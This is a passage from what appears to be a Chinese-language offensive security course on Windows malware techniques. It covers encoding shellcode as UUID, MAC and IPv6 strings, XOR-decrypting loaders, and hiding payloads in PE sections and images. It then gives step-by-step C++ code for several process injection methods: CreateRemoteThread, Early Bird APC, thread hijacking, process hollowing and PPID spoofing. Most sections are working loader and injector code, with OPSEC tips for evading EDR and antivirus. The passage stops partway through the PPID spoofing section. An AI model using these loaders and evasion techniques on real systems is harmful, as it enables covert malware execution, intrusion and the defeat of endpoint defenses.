一个UUID(128位)可以编码16字节的Shellcode。我们将Shellcode分割成16字节的块,然后将每块转换为UUID字符串。

Python(将Shellcode编码为UUID)

1
2
3
4
5
6
7
8
9
10
11
12
import uuid

shellcode = b"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51"
uuids = []

for i in range(0, len(shellcode), 16):
chunk = shellcode[i:i+16]
u = uuid.UUID(bytes=chunk)
uuids.append(str(u))

for u in uuids:
print(f'"{u}",')

C++(运行时解码UUIDs)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <windows.h>
#include <rpc.h>
#pragma comment(lib, "Rpcrt4.lib")

char* uuid_strs[] = {
"fce48348-e8f0-00c0-5141-5041-5152", // 仅为示例
// 更多UUIDs
};

void decode_uuids(unsigned char* buffer) {
int offset = 0;
for (int i = 0; i < sizeof(uuid_strs) / sizeof(uuid_strs[0]); i++) {
UUID uuid;
UuidFromStringA((RPC_CSTR)uuid_strs[i], &uuid);
memcpy(buffer + offset, &uuid, 16);
offset += 16;
}
}

技术B:通过MAC地址仿真Shellcode

解释

MAC地址编码了6字节。因此,一串类似MAC地址的字符串可以隐藏部分Shellcode。

示例(编码后)

1
2
3
"fc:48:83:e4:f0:e8",
"c0:00:00:00:41:51",
...

C++(解码器示例)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
void parse_mac(const char* mac, unsigned char* out) {
sscanf(mac, "%hhx:%hhx:%hhx:%hhx:%hhx:%hhx",
&out[0], &out[1], &out[2], &out[3], &out[4], &out[5]);
}

char* encoded[] = {
"fc:48:83:e4:f0:e8",
"c0:00:00:00:41:51",
// 更多MAC地址
};

void decode_shellcode(unsigned char* buffer) {
for (int i = 0, offset = 0; i < sizeof(encoded)/sizeof(encoded[0]); i++, offset += 6) {
parse_mac(encoded[i], buffer + offset);
}
}

技术C:IPv6编码Shellcode

解释

IPv6地址是128位,与UUID相同。这种格式很少被检查,适用于DNS、内存或文件规避。

示例

1
"fc48:83e4:f0e8:c000:0000:4151:4150:5251"

C++解码器

1
2
3
4
5
6
7
8
9
10
11
void parse_ipv6(const char* ipv6_str, unsigned char* output) {
unsigned short parts[8];
sscanf(ipv6_str, "%hx:%hx:%hx:%hx:%hx:%hx:%hx:%hx",
&parts[0], &parts[1], &parts[2], &parts[3],
&parts[4], &parts[5], &parts[6], &parts[7]);

for (int i = 0; i < 8; i++) {
output[i * 2] = (parts[i] >> 8) & 0xFF;
output[i * 2 + 1] = parts[i] & 0xFF;
}
}

结合执行

解码Shellcode后,可以使用VirtualAlloc + CreateThreadNtCreateThreadEx或直接系统调用执行:

1
2
3
4
5
void execute_shellcode(unsigned char* shellcode, size_t size) {
void* exec = VirtualAlloc(0, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, shellcode, size);
((void(*)())exec)();
}

灵感来自HellShell

HellShell自动化了这种混淆,使用了:

  • UUIDs

  • IPv6字符串

  • 自定义加载器

这些技术允许攻击者将负载交付为“无害”的字符串,避开熵或签名检查。


运行时考虑

  • 避免字符串格式异常(格式错误的UUID可能触发AV)

  • 如果直接嵌入字符串,使用进一步的混淆(如ROT13、Base64等)

  • 使用间接执行方法(如回调或CreateThread)增加隐蔽性

真实世界示例

  • Cobalt StrikeMetasploit 可以交付使用UUIDs混淆的负载。

  • 恶意软件如 DarkHydrus 使用 IPv6 和 MAC格式 在DNS TXT记录中进行规避。


检测与对策

安全团队应当:

  • 即使是编码格式也要应用熵分析

  • 在日志记录之前对不常见的数据格式(UUID、IPv6)进行归一化。

  • 使用YARA规则,在解码后针对内存模式进行检测。

5.6 使用混合编码和运行时解密的高级Shellcode混淆

概述

本节介绍了一些高级策略,用于通过以下方法绕过内存扫描器和基于签名的检测机制:

  • 使用混合混淆格式(UUID、IPv6、Base64、XOR、AES)。

  • 将负载嵌入无害看起来的结构中。

  • 采用运行时解密降低熵的技术来减少可检测性。

  • 使用节存储(例如,隐藏在.rsrc.data或自定义PE节中)。

  • 执行时才实现解混淆逻辑。


1. 为什么高级混淆有效

EDR和AV通常使用以下技术:

  • 静态扫描(签名、熵分析)

  • 内存分析(扫描RWX区域,检测常见模式如MZPE或Shellcode的NOP雪崩)

  • 基于内存熵的启发式评分

通过将Shellcode分成伪装的片段并动态重建它们:

  • 避免静态检测。

  • 降低内存中的熵。

  • 增加逆向工程的复杂性。


2. 实际策略示例:混合混淆

我们使用以下设置:

  • Shellcode被分成若干块。

  • 每一块都经过XOR加密并以UUID格式存储。

  • 所有UUID被存储在一个隐藏的节(如.sdata)中,或嵌入到图像元数据(如通过隐写术嵌入在.jpg中)。

  • 在运行时,解析UUID,解密并将其复制到RWX内存中以供执行。


3. C++代码示例:混合加载器

以下示例:

  • 将Shellcode以UUID格式嵌入。

  • 使用XOR解密它。

  • 使用CreateThread执行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#include <Windows.h>
#include <iostream>
#include <vector>
#include <rpc.h>
#pragma comment(lib, "Rpcrt4.lib")

// XOR密钥
const BYTE XOR_KEY = 0x5A;

// UUID混淆的Shellcode(已经用XOR加密)
std::vector<std::string> uuid_shellcode = {
"e48348fc-e8f0-00c0-0000-415141505251",
"d2314856-4865-528b-6048-8b5218488b52"
// 根据需要添加更多
};

std::vector<BYTE> parse_and_decrypt_uuids(const std::vector<std::string>& uuids) {
std::vector<BYTE> decrypted;
for (const auto& str : uuids) {
UUID uuid;
if (UuidFromStringA((RPC_CSTR)str.c_str(), &uuid) != RPC_S_OK) {
std::cerr << "解析UUID失败: " << str << std::endl;
continue;
}
BYTE* bytes = (BYTE*)&uuid;
for (int i = 0; i < sizeof(UUID); i++) {
decrypted.push_back(bytes[i] ^ XOR_KEY);
}
}
return decrypted;
}

int main() {
std::vector<BYTE> shellcode = parse_and_decrypt_uuids(uuid_shellcode);

LPVOID exec = VirtualAlloc(nullptr, shellcode.size(), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(exec, shellcode.data(), shellcode.size());

// 使用CreateThread代替直接函数指针,提高隐蔽性
HANDLE hThread = CreateThread(nullptr, 0, (LPTHREAD_START_ROUTINE)exec, nullptr, 0, nullptr);
WaitForSingleObject(hThread, INFINITE);
return 0;
}

4. 在自定义PE节中嵌入Shellcode

您可以使用像PE-bear这样的工具,向PE文件中添加一个.xdata.mysec节,并手动将编码的Shellcode嵌入其中。在运行时:

1
2
3
4
5
6
HINSTANCE hModule = GetModuleHandle(NULL);
BYTE* pShellcode = (BYTE*)FindResource(hModule, MAKEINTRESOURCE(IDR_MY_SHELLCODE), "CUSTOM");

for (size_t i = 0; i < shellcodeSize; ++i) {
pShellcode[i] ^= XOR_KEY; // 就地解密
}

5. 降低熵示例

与其将解密后的Shellcode直接加载到RWX内存中,不如:

  • 将其阶段性地加载到一个RW区域。

  • 诱饵指令NOPs合法调用前置代码填充,以减少熵。

  • 只在最后时刻使用VirtualProtect将区域标记为RX

1
2
DWORD oldProtect;
VirtualProtect(exec, shellcode.size(), PAGE_EXECUTE_READ, &oldProtect);

6. 图像中的隐写嵌入

您可以:

  • 将Shellcode编码为.bmp.png文件的最低有效位(LSB)。

  • 在运行时使用解码器提取负载。

  • 解码到内存,解密并如前所述执行。

这种技术可以使用像imgect这样的工具,或使用Python或C++中的隐写术库自己实现。


7. 最终操作安全性注意事项

  • 永远不要在内存中留下已解密的Shellcode,时间越长越危险。

  • 使用SecureZeroMemory在使用后清除内存:

1
SecureZeroMemory(exec, shellcode.size());  
  • 使用Sleep(rand())和垃圾代码随机化执行时间,增加隐蔽性。

总结

通过混合编码、运行时解密以及使用降低熵的技巧,可以有效地绕过基于签名的检测机制和内存扫描器。这些技术使Shellcode在静态分析时看起来无害,并通过动态解密和执行来进一步避免检测。同时,结合PE节存储和隐写术等技巧,可以为攻击者提供更加隐蔽的操作路径。

模块 6 – 工艺注入技术

6.1 经典的CreateRemoteThread注入

目标:了解如何通过使用WriteProcessMemoryCreateRemoteThread API将有效载荷注入到远程进程中。


概念

此技术包括:

  1. 打开目标进程的句柄。

  2. 在目标进程中分配内存。

  3. 将Shellcode写入该内存。

  4. 使用CreateRemoteThread来执行Shellcode。

示例代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
// 示例:经典的远程线程注入
#include <windows.h>
#include <tlhelp32.h>
#include <iostream>

// 简单的Shellcode(示例MessageBox,必须替换为实际有效载荷)
unsigned char shellcode[] = {
0x90, 0x90, 0x90, // NOP sled
// 实际Shellcode将放在这里
};

DWORD FindProcessId(const std::wstring& processName) {
PROCESSENTRY32 processInfo;
processInfo.dwSize = sizeof(processInfo);
HANDLE processesSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
if (processesSnapshot == INVALID_HANDLE_VALUE) return 0;

Process32First(processesSnapshot, &processInfo);
if (!processName.compare(processInfo.szExeFile)) {
CloseHandle(processesSnapshot);
return processInfo.th32ProcessID;
}

while (Process32Next(processesSnapshot, &processInfo)) {
if (!processName.compare(processInfo.szExeFile)) {
CloseHandle(processesSnapshot);
return processInfo.th32ProcessID;
}
}

CloseHandle(processesSnapshot);
return 0;
}

int main() {
DWORD pid = FindProcessId(L"notepad.exe"); // 注入到Notepad
if (pid == 0) {
std::wcerr << L"目标进程未找到。\n";
return 1;
}

HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (!hProcess) {
std::cerr << "OpenProcess失败。\n";
return 1;
}

LPVOID remoteBuffer = VirtualAllocEx(hProcess, NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProcess, remoteBuffer, shellcode, sizeof(shellcode), NULL);
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);

if (hThread != NULL) {
std::cout << "远程线程创建成功。\n";
CloseHandle(hThread);
} else {
std::cerr << "创建远程线程失败。\n";
}

CloseHandle(hProcess);
return 0;
}

分步解析

步骤1:获取目标进程的句柄

1
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPID);
  • PROCESS_ALL_ACCESS授予完全访问权限(会被AV/EDR监控)。

  • 此调用会被记录,并且可能触发遥测事件。

步骤2:在目标进程中分配可执行内存

1
LPVOID remoteMemory = VirtualAllocEx(hProcess, NULL, payloadSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
  • PAGE_EXECUTE_READWRITE红旗。现代AV/EDR会检测具有RWX权限的内存。

  • 先使用PAGE_READWRITE,然后再用VirtualProtectEx将其更改为PAGE_EXECUTE_READ

步骤3:将Shellcode写入分配的内存

1
WriteProcessMemory(hProcess, remoteMemory, shellcode, payloadSize, NULL);
  • 监控的API:用户空间和/或内核会跟踪写入其他进程的内存。

步骤4:使用CreateRemoteThread执行Shellcode

1
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)remoteMemory, NULL, 0, NULL);
  • 这会触发一个实时的线程创建事件,很容易被EDR检测到。

  • 目标进程会显示一个新的线程,该线程的起始地址是一个没有映射的内存地址,触发警报。


检测向量(EDR检测到什么)

操作 检测机制
OpenProcess 访问另一个进程
VirtualAllocEx 远程进程中的RWX内存
WriteProcessMemory 代码注入特征
CreateRemoteThread 可疑线程创建
非模块地址起始 线程未指向模块

现代EDR挂钩这些API或使用内核回调来追踪这些行为。


实际示例

许多商用RAT(例如njRATDarkCometAgentTesla)使用此方法将C2有效载荷注入到合法进程(例如explorer.exesvchost.exenotepad.exe)中,以隐藏进程可见性

然而,由于它的普遍性,这种方法高度签名化且易于预测


OPSEC改进(低检测增强)

技巧 描述
使用PAGE_READWRITE 将内存分配为RW,然后使用VirtualProtectEx更改为EXECUTE
NtCreateThreadEx 不太常见的系统调用,更难检测
手动映射Shellcode 避免使用WriteProcessMemory,使用本地映射和NtMapViewOfSection
编码/加密Shellcode 使用XOR/RC4/AES等方法来模糊签名
线程隐匿 使用SetThreadInformation隐藏线程以防调试器
PPID伪造 伪造父进程ID,使其看起来像是一个受信任的进程
延迟执行 使用Sleep延迟,反分析定时器逻辑
间接系统调用 使用syswhispers或hellsgate等工具避免用户态钩子

无内存变体:LoadLibrary有效载荷

将Shellcode注入的替代方法是通过LoadLibraryA远程加载DLL:

1
2
3
4
char dllPath[] = "C:\\temp\\evil.dll";
LPVOID remoteStr = VirtualAllocEx(hProcess, NULL, strlen(dllPath) + 1, MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(hProcess, remoteStr, dllPath, strlen(dllPath) + 1, NULL);
CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)LoadLibraryA, remoteStr, 0, NULL);
  • 这种方法更容易被检测到(DLL加载会被记录并且签名化)。

  • 如果DLL使用隐蔽技术(例如,延迟加载Shellcode),仍然有用。

6.2 - 早鸟注入(高级进程注入技术)

概念概述

早鸟注入是一种更加隐蔽的进程注入技术,针对的是远程进程执行的非常早期阶段,即在主入口点到达之前。其原理是在进程恢复之前将线程排入队列,从而让有效载荷在原始进程逻辑启动之前就开始执行。

这种技术减少了EDR检测的机会,因为用户态钩子通常在此早期执行阶段尚未完全初始化


工作流概述

  1. 挂起状态下创建目标进程

  2. 在目标进程中分配内存

  3. 将Shellcode写入内存

  4. 使用**QueueUserAPC()**将线程排队到Shellcode

  5. 恢复主线程 → Shellcode通过APC队列执行


详细步骤与C++代码(已注释)

1. 创建挂起的进程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
STARTUPINFOA si = { 0 };
PROCESS_INFORMATION pi = { 0 };
si.cb = sizeof(si);

CreateProcessA(
"C:\\Windows\\System32\\notepad.exe", // 目标二进制文件
NULL,
NULL,
NULL,
FALSE,
CREATE_SUSPENDED, // 重要:保持挂起
NULL,
NULL,
&si,
&pi
);
  • CREATE_SUSPENDED确保主线程尚未运行。

2. 在目标进程中分配内存

1
2
3
4
5
6
7
LPVOID remoteMemory = VirtualAllocEx(
pi.hProcess,
NULL,
shellcodeSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE // 暂时设置为RWX
);
  • 可以使用PAGE_READWRITE,然后稍后调用VirtualProtectEx更改为执行权限(以提高OPSEC)。

3. 写入Shellcode

1
WriteProcessMemory(pi.hProcess, remoteMemory, shellcode, shellcodeSize, NULL);
  • 将你的已编码或已解密的Shellcode写入目标进程。

4. 通过APC队列Shellcode

1
2
3
4
5
QueueUserAPC(
(PAPCFUNC)remoteMemory, // 要调用的地址
pi.hThread, // 接收APC的线程
NULL // 可选的参数
);
  • APC将不会执行,直到线程进入可警报状态(这发生在从挂起状态恢复时)。

5. 恢复执行(触发APC队列)

1
ResumeThread(pi.hThread);
  • 当线程恢复时,Shellcode会在主入口点之前执行。

为什么这能绕过EDR

EDR组件 绕过原因
用户态API钩子 在早期线程状态下,钩子尚未加载或激活
系统调用遥测 线程创建阶段,系统调用优先级较低
签名检测 没有DLL注入或典型的行为
行为引擎 时间技巧避开启发式触发

实际应用

APT攻击组和高级恶意软件(如Cobalt Strike变种、TrickBot模块)使用此方法注入到svchost.exe、notepad.exe或explorer.exe等服务中,以避免AV/EDR的检测。

此技术在“无文件恶意软件”载荷中得到了武器化,恶意软件的持久性并不依赖于磁盘,而是在内存阶段通过这种注入方式执行。


检测与局限性

指标 可能的检测方法
挂起进程中的RWX内存 内存扫描器 / Yara规则触发
将QueueUserAPC排队到远程线程 在挂起线程中,APC的行为可疑
非标准入口点调用 线程上下文行为异常

现代EDR(如SentinelOne、CrowdStrike)使用线程栈检查内存分析来标记这些注入,如果使用不当,容易被发现。


OPSEC建议

技巧 描述
编码Shellcode 使用XOR、RC4、AES等加密方式
仅将内存分配为RW 然后使用VirtualProtectEx将其更改为EXEC
排队多个APC 生成噪音或进行误导
使用间接系统调用 避免用户态EDR钩子
如果是自注入,清理PE头部 防止内存扫描器检测到PE头部

示例代码:

如果需要,我可以提供:

  • 一个生成calc.exe的Shellcode示例

  • 完整工作的早鸟注入器(C++)

  • 使用间接系统调用版本的VirtualAllocExWriteProcessMemory

6.3 - 线程劫持(远程线程上下文操控)

概念概述

线程劫持是一种强大的进程注入技术,攻击者修改远程进程中现有线程的执行上下文,将其重定向到有效载荷(例如Shellcode)。与CreateRemoteThread不同,线程劫持技术不创建新线程,因此更隐蔽,难以检测。

此方法通常包括以下步骤:

  • 暂停线程

  • 修改其上下文(EIP/RIP),使其指向Shellcode

  • 恢复线程


使用场景

  • 在创建新线程会引发警报时进行隐蔽注入。

  • AV/EDR通常监控CreateRemoteThread,但并不总是监控SetThreadContext


C++实现的步骤

我们将通过线程劫持注入Shellcode到**notepad.exe**。


1. 打开目标进程和线程

1
2
DWORD pid = FindProcessId("notepad.exe"); // 实现自己的FindProcessId函数
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
  • 如果需要,确保提升权限(SeDebugPrivilege)。

2. 查找目标进程中的线程

1
2
DWORD tid = FindThreadId(pid); // 实现查找线程的逻辑
HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, tid);
  • 确保该线程不是关键线程(如系统线程),否则可能会导致进程崩溃。

3. 暂停线程并分配内存

1
2
3
4
5
6
7
8
9
10
11
SuspendThread(hThread);

LPVOID remoteShellcode = VirtualAllocEx(
hProcess,
NULL,
shellcodeSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
);

WriteProcessMemory(hProcess, remoteShellcode, shellcode, shellcodeSize, NULL);

4. 获取并修改线程上下文

1
2
3
4
5
6
7
8
9
CONTEXT ctx;
ctx.ContextFlags = CONTEXT_FULL;

GetThreadContext(hThread, &ctx);

// 在x64系统上,使用Rip代替Eip
ctx.Rip = (DWORD64)remoteShellcode;

SetThreadContext(hThread, &ctx);
  • 通过修改Rip,你将执行重定向到Shellcode。

5. 恢复线程

1
ResumeThread(hThread);

现在线程将在你的Shellcode位置恢复执行。


OPSEC考虑因素

方面 备注
可检测性 CreateRemoteThread低,但上下文变化可能会被监控
内存权限 如果可能,避免使用RWX,使用PAGE_READWRITEVirtualProtectEx
清理工作 如果需要,稍后恢复线程上下文
线程选择 选择后台/空闲线程以减少崩溃风险
Shellcode检测 使用编码和运行时解密技术

实际案例

此方法在Cobalt StrikeSliver等后渗透框架中以隐蔽模式使用。它还被QakBotDridex和一些Lazarus Group的恶意软件家族使用,通常用于横向移动或注入系统工具(例如explorer.exesvchost.exe)。


检测与监控

技术 可能的检测方式
暂停 → 上下文变化 正常应用程序中不常见
执行权限内存,无图像 Shellcode扫描或YARA规则
外部线程的SetThreadContext调用 非常规行为

CrowdStrikeDefender ATPSophos Intercept X这样的EDR,可能会基于行为启发式和API序列来标记这种行为。

6.4 - APC注入(异步过程调用注入)

概念概述

APC注入是一种隐蔽的技术,通过将一个函数(通常是Shellcode)排入目标线程的执行上下文中,通常是在线程处于可警觉状态(如等待I/O等)时执行。

此方法有两种使用方式:

  • 本地APC注入:注入同一进程的线程。

  • 远程APC注入:注入到另一个进程(目标)的线程,通常用于Shellcode的执行。


涉及的Windows API函数

  • OpenProcess

  • OpenThread

  • VirtualAllocEx

  • WriteProcessMemory

  • QueueUserAPC

  • NtAlertResumeThreadResumeThread


关键优势

  • 避免创建新线程

  • CreateRemoteThread更隐蔽

  • 对于只监控系统调用队列的EDR绕过非常有用


完整的C++工作示例

该示例通过APC注入将Shellcode注入到远程进程(例如notepad.exe)中。


1. Shellcode定义(MessageBox Shellcode)

1
2
3
4
5
unsigned char shellcode[] =
{
0x90, 0x90, // ... NOP滑道或Shellcode字节
// 用你的实际Shellcode替换
};

2. 查找进程ID(工具函数)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
DWORD FindProcessId(const std::wstring& processName) {
DWORD pid = 0;
HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (snap != INVALID_HANDLE_VALUE) {
PROCESSENTRY32W entry;
entry.dwSize = sizeof(entry);
if (Process32FirstW(snap, &entry)) {
do {
if (processName == entry.szExeFile) {
pid = entry.th32ProcessID;
break;
}
} while (Process32NextW(snap, &entry));
}
}
CloseHandle(snap);
return pid;
}

3. 分配内存并写入Shellcode

1
2
3
4
5
6
7
8
9
10
11
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);

LPVOID remoteAddr = VirtualAllocEx(
hProcess,
NULL,
sizeof(shellcode),
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
);

WriteProcessMemory(hProcess, remoteAddr, shellcode, sizeof(shellcode), NULL);

4. 查找可警觉的线程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
DWORD tid = 0;
HANDLE hThread = NULL;

HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
if (snapshot != INVALID_HANDLE_VALUE) {
THREADENTRY32 threadEntry;
threadEntry.dwSize = sizeof(THREADENTRY32);
if (Thread32First(snapshot, &threadEntry)) {
do {
if (threadEntry.th32OwnerProcessID == pid) {
tid = threadEntry.th32ThreadID;
hThread = OpenThread(THREAD_SET_CONTEXT | THREAD_SUSPEND_RESUME | THREAD_QUERY_INFORMATION, FALSE, tid);
if (hThread) break;
}
} while (Thread32Next(snapshot, &threadEntry));
}
CloseHandle(snapshot);
}

5. 排队APC

1
QueueUserAPC((PAPCFUNC)remoteAddr, hThread, NULL);

这将Shellcode排队到线程的APC队列中,等待执行。


6. 恢复线程并执行

1
2
ResumeThread(hThread); // 或使用NtAlertResumeThread更具隐蔽性
CloseHandle(hThread);

为了执行APC,目标线程必须处于可警觉状态(例如SleepExWaitForSingleObjectEx等)。

如果线程不处于警觉状态,APC可能会保持排队直到满足条件。


实际应用

此技术已在恶意软件和后渗透框架中使用,例如:

  • Cobalt Strike:用于注入睡眠信标

  • Metasploit的Inject Payload模块

  • Turla Group恶意软件:使用QueueUserAPC在本地系统进程上注入

  • QBot / Emotet:频繁使用APC队列进行绕过检测


OPSEC注意事项

考量因素 详细信息
隐蔽性 高(不创建新线程)
警觉状态要求 必须目标线程处于正确的状态
EDR检测 一些EDR会检测到可疑的QueueUserAPC使用
混淆 编码Shellcode,注入后进行RW → RX转换

EDR检测

  • 钩取QueueUserAPCNtQueueApcThreadNtAlertResumeThread

  • 监控无支持的可执行内存段

  • 关联Shellcode注入到可警觉线程

YARA规则和行为分析通常会捕捉无支持的RWX段,因此结合延迟内存保护更为理想。

6.5 - 早期注入(Early Bird Injection)

概念概述

早期注入(Early Bird Injection)是一种隐蔽的注入技术,利用新创建的暂停进程的早期执行阶段。通过在进程正常启动前注入并排队一个有效载荷,可以让恶意软件在安全产品有机会挂钩或检查进程之前执行。


关键策略

  1. 创建一个暂停的进程(例如notepad.exe)。

  2. 在其地址空间分配内存并注入Shellcode。

  3. 使用QueueUserAPC排队Shellcode。

  4. 恢复主线程(该线程会在到达入口点之前处理APC)。


为什么有效

  • 在Shellcode执行时,大多数EDR还没有完成挂钩

  • 该技术在针对受信任进程(如LOLbins)时尤其有效,例如notepad.exewerfault.exesvchost.exe等。


完整工作示例 – C++早期鸟APC注入

此版本创建一个暂停的notepad.exe,通过APC注入Shellcode到其主线程,然后恢复线程。


1. 定义Shellcode

用你的实际有效载荷替换此部分。

1
2
3
4
unsigned char shellcode[] = {
0xfc, 0x48, 0x83, 0xe4, 0xf0, // 示例Shellcode
// 替换为真实Shellcode
};

2. 创建暂停进程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
STARTUPINFOA si = { sizeof(si) };
PROCESS_INFORMATION pi;

CreateProcessA(
"C:\\Windows\\System32\\notepad.exe",
NULL,
NULL,
NULL,
FALSE,
CREATE_SUSPENDED,
NULL,
NULL,
&si,
&pi
);

3. 分配内存并写入Shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
LPVOID remoteAddr = VirtualAllocEx(
pi.hProcess,
NULL,
sizeof(shellcode),
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
);

WriteProcessMemory(
pi.hProcess,
remoteAddr,
shellcode,
sizeof(shellcode),
NULL
);

4. 在APC队列中排队Shellcode

我们将目标指向暂停进程的主线程

1
2
3
4
5
QueueUserAPC(
(PAPCFUNC)remoteAddr,
pi.hThread,
NULL
);

5. 恢复线程

恢复时,线程会处于可警觉状态,并会执行已排队的APC,然后继续执行main()

1
ResumeThread(pi.hThread);

6. 清理资源

1
2
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);

实际应用示例

恶意软件/工具包 早期鸟注入的使用
Cobalt Strike 用于在远程暂停进程中执行Beacon
FIN7恶意软件 在启动时将Shellcode注入签名的Windows二进制文件中
QBot 经常执行APC注入作为早期鸟注入的一部分

OPSEC技巧

  • 使用VirtualProtectEx写入Shellcode后仅更改内存保护(RW → RX过渡)。

  • 使用NtQueueApcThread直接从ntdll调用,以绕过API挂钩

  • 避免Shellcode中出现可疑字符串或指示符。


检测向量

检测方法 绕过技巧
CreateProcess中的钩子 使用间接系统调用或本地调用
APC队列关联 随机化进程目标
内存保护警报 延迟RW → RX过渡

YARA和内存扫描器

安全产品可能会监控无支持的RWX区域,并检查内存页的熵值。将此技术与加密+延迟解密结合使用,可以进一步增强隐蔽性。

更多详情:https://github.com/Offensive-Panda/ProcessInjectionTechniques

6.6 - 进程空洞化与进程替换

什么是进程空洞化(Process Hollowing)?

进程空洞化是一种高级注入技术,过程如下:

  1. 启动一个良性进程,且该进程处于暂停状态

  2. 该进程的代码部分被卸载(即空洞化)。

  3. 恶意负载被注入到原先的位置。

  4. 该进程被恢复,在合法应用的幌子下执行攻击者控制的代码。


进程替换(Process Replacement)

与空洞化非常相似,但是在注入Shellcode时,攻击者将进程内存中的PE镜像完全替换为另一个完整的可执行文件(EXE)。

这是一种完全的内存中替换,包括进程的映像、节(section)映射、头文件、入口点等。


为什么有效

  • 杀毒软件/EDR工具看到的是合法的父进程

  • 它隐藏了实际的恶意进程映像

  • 有助于绕过基于命令行的检测父子进程关联


完整的C++示例 - 进程空洞化

下面是一个简化版的进程空洞化实现。


1. 要注入的Shellcode

用真实的有效载荷替换这部分。例如:MessageBox Shellcode 或者反向Shell。

1
2
3
4
unsigned char payload[] = {
0xfc, 0x48, 0x83, 0xe4, 0xf0,
// 替换为实际的Shellcode
};

2. 创建暂停进程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
STARTUPINFOA si = { sizeof(si) };
PROCESS_INFORMATION pi;

CreateProcessA(
"C:\\Windows\\System32\\notepad.exe",
NULL,
NULL,
NULL,
FALSE,
CREATE_SUSPENDED,
NULL,
NULL,
&si,
&pi
);

3. 获取远程进程的映像基地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
PROCESS_BASIC_INFORMATION pbi;
ULONG returnLength;

NtQueryInformationProcess(
pi.hProcess,
ProcessBasicInformation,
&pbi,
sizeof(pbi),
&returnLength
);

PVOID pebBaseAddress = pbi.PebBaseAddress;

PVOID imageBaseAddress = NULL;
ReadProcessMemory(
pi.hProcess,
(PBYTE)pebBaseAddress + 0x10, // PEB中的ImageBaseAddress的偏移
&imageBaseAddress,
sizeof(PVOID),
NULL
);

4. 卸载原始映像

1
NtUnmapViewOfSection(pi.hProcess, imageBaseAddress);

5. 分配内存并写入Payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
LPVOID newBase = VirtualAllocEx(
pi.hProcess,
imageBaseAddress,
sizeof(payload),
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
);

WriteProcessMemory(
pi.hProcess,
newBase,
payload,
sizeof(payload),
NULL
);

6. 设置线程上下文为Payload入口点

1
2
3
4
5
6
CONTEXT ctx;
ctx.ContextFlags = CONTEXT_FULL;

GetThreadContext(pi.hThread, &ctx);
ctx.Rcx = (DWORD64)newBase; // 对于x64,Rcx保存入口点
SetThreadContext(pi.hThread, &ctx);

7. 恢复进程

1
ResumeThread(pi.hThread);

实际应用示例

恶意软件家族 空洞化的使用
TrickBot 用于将Shellcode注入到svchost.exe中
Emotet 通过空洞化将有效载荷执行到explorer.exe中
Cobalt Strike 使用远程空洞化执行beacon

OPSEC考虑

  • 使用**NtUnmapViewOfSection** 从ntdll而非API存根来避免EDR钩子。

  • 对Payload进行加密或编码,并在执行时解码。

  • 随机化目标进程以规避行为检测。

  • 在写入后再更改内存保护(RW → RX)。

  • 使用手动映射来避免触发加载器活动。


检测向量

检测向量 检测方法
空洞化API模式 钩住NtUnmapViewOfSectionVirtualAllocEx
入口点篡改 恢复前监控线程上下文
RWX内存节 内存扫描器,使用熵值和保护扫描
空洞化目标列表 已知的LOLbins,如notepad.exe、svchost.exe

扩展:进程替换与PE映像

你还可以:

  • 将完整的PE文件读取到内存中。

  • 手动映射头文件/节。

  • 修复导入和重定位。

  • 在远程进程中替换内存映像。

6.7 - PPID伪造(父进程ID伪造)

技术:使用CreateProcess并通过PROC_THREAD_ATTRIBUTE_PARENT_PROCESS伪造父进程
目标:通过伪造真实的父进程,规避EDR/AV父子进程关联检测。


什么是PPID伪造?

许多EDR通过分析进程树来检测恶意活动。例如:

1
cmd.exe → powershell.exe → certutil.exe

这种父子进程关系会引起警报,因为它看起来非常可疑。
PPID伪造通过伪造合法的父进程,例如explorer.exesvchost.exe,来操控这种关系。


工作原理

